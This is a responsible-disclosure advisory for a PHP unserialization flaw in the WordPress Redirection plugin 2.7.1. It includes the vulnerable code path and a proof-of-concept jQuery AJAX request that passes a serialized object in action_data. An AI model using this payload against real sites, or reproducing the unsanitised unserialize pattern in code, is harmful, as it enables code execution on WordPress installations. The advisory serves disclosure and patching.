Unserialization vulnerability in Redirection could allow admin to execute arbitrary code in some circumstances (WordPress plugin)

[dxw Security <harry () dxw com>]

Details
================
Software: Redirection
Version: 2.7.1
Homepage: https://wordpress.org/plugins/redirection/
Advisory report: https://advisories.dxw.com/advisories/unserialization-redirection/
CVE: Awaiting assignment
CVSS: 9 (High; AV:N/AC:L/Au:S/C:C/I:C/A:C)

Description
================
Unserialization vulnerability in Redirection could allow admin to execute arbitrary code in some circumstances

Vulnerability
================
It is possible for a user with the administrator privilege to submit a string that contains an encoded object that 
executes arbitrary code of the attacker’s choosing.
The value can be passed in with an AJAX request to admin-ajax.php using the red_ajax_set_redirect action that is passed 
to the ajax_set_redirect method in this code:
public function ajax_set_redirect( $params ) { 
  $params = $this->get_params( $params ); 
  ....
  $result = $redirect->update( $params );
}

private function get_params( $params ) { 
  if ( empty( $params ) ) {
    $params = $_POST; 
  }
  return $params; 
}

The update method then passes the attack string to this code:
class Red_Item {
  public function update( $details ) {
    $data = $sanitizer->get( $details );
    $this->load_from_data( (object) $data );
  }

  private function load_from_data( stdClass $values ) {
    foreach ( $values as $key => $value ) {
    $this->$key = $value; }
  }
The sanitizer does not sanitize the action_data value. Many calls to this class then use its to_json method, which is 
as follows:
  public function get_action_data() {
    return $this->action_data ? $this->action_data : \'\';
  }

  public function to_json() {
    maybe_unserialize( $this->get_action_data() ),
  } 

The sum effect is therefore that unsanitized user input is being passed to maybe_unserialize().


Proof of concept
================
Achieving arbitrary code execution depends on which classes are available (i.e. which plugins and themes are installed 
and active). It may not be possible in all situations. As such, this PoC will merely attempt to show that an arbitrary 
string can be passed to the maybe_unserialize() function.

Visit /wp-admin/tools.php?page=redirection.php
Create a new redirect with “/boo”, “https://www.dxw.com/”, and “Redirections”.
We’ll assume this redirect was given ID of 1 in the wp_redirection_items table. If that isn’t true, change the “id” 
value in the provided JavaScript.
Then, without leaving the page, open your browser’s console and execute this JavaScript:
jQuery.ajax(ajaxurl,{
 method: \'POST\',
 data: {
 \'action\': \'red_set_redirect\',
 \'_wpnonce\': window.Redirectioni10n.WP_API_nonce,
 \'id\': \'1\',
 \'match_type\': \'url\',
 \'action_code\': \'1\',
 \'action_type\': \'url\',
 \'url\': \'https://www.dxw.com/\',
 \'group_id\': \'1\',
 \'action_data\': \'O:8:\"stdClass\":1:{s:5:\"hello\";s:5:\"world\";}\',
 },
}).done(console.log)
Then, by inspecting the JavaScript object printed by console.log, or by looking at the Network logs, you’ll notice that 
we have a {“hello”: “world”} JavaScript object showing that our arbitrary string was passed to unserialize() and 
therefore, if the correct classes were available, we would be able to turn this into arbitrary code execution.

Mitigations
================
Upgrade to version 2.8 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: 
https://advisories.dxw.com/disclosure/

Please contact us on security () dxw com to acknowledge this report if you received it via a third party (for example, 
plugins () wordpress org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2017-10-02: Discovered
2017-10-03: Reported via website contact form
2017-10-04: Response received. Author has asked for PoC: “The value for action_data is sanitised when it is passed 
through Red_Item_Sanitize”
2017-10-09: Developed a PoC
2017-10-10: Working PoC provided to author.
2017-10-18: Author reported fixed in 2.8
2018-06-06: Advisory published
2018-06-12: CVE requested



Discovered by dxw:
================
Glyn Wintle
Please visit advisories.dxw.com for more information.
            


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